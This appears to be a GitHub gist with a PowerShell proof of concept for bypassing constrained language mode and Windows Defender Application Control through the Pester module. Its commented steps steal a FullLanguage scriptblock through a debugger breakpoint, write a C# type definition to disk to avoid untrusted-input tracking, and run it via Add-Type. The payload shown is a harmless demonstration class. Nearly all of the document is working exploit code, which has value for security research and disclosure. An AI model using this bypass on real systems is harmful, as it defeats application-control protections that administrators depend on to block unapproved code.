-
-
Save mattifestation/e14c0823d01a99b902525f675170ee5d to your computer and use it in GitHub Desktop.
PoC exploitation of the Invoke-Pester constrained language mode / WDAC bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Explicitly load Pester so that the module base path can be determined dynamically. | |
# This bypass works for both Pester 3.4.0 and 4.4.0 | |
$ModuleInfo = Import-Module -Name Pester -PassThru | |
$PesterPath = "$($ModuleInfo.ModuleBase)\$($ModuleInfo.RootModule)" | |
# Set a breakpoint on when Set-ScriptBlockScope is called. | |
# Upon calling Invoke-Pester, Set-ScriptBlockScope is called and the | |
# vulnerable $invokeTestScript scriptblock is passed to it. | |
Set-PSBreakpoint -Script $PesterPath -Command 'Set-ScriptBlockScope' | |
# Run Invoke-Pester which will trigger the breakpoint | |
Invoke-Pester | |
# Enter the following commands in succession at the DBG prompt: | |
# Command #1: Pull the $invokeTestScript out from a local script scope and save it as a global variable so that | |
# it can be accessed outside of the scope of a function that we otherwise wouldn't have access to. | |
# Command #2: Stop execution of Invoke-Pester and break out of the DBG prompt. | |
<# | |
$Global:Foo = $invokeTestScript | |
q | |
#> | |
# Note: I am not currently aware of a method to perform the two steps above in an automated, non-interactive fashion. | |
# Write the Add-Type payload to disk. Doing so will bypass untrusted string input tracking when Get-Content is later called. | |
@' | |
public class Bypassed { | |
public static string ToString(string message) { | |
return message; | |
} | |
} | |
'@ | Out-File test.txt | |
# Execute the vulnerable $invokeTestScript scriptblock that was pulled from an otherwise non-accesible context. | |
# Because the scriptblock was defined in a FullLanguage context, it permits an attacker to execute otherwise non-permitted commands - e.g. Add-Type | |
& $Global:Foo -Path 'Add-Type' -Parameters @{ TypeDefinition = (Get-Content .\test.txt -Raw) } | |
# Validate that constrained language mode has been bypassed. | |
[Bypassed]::ToString('Constrained language mode bypassed') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment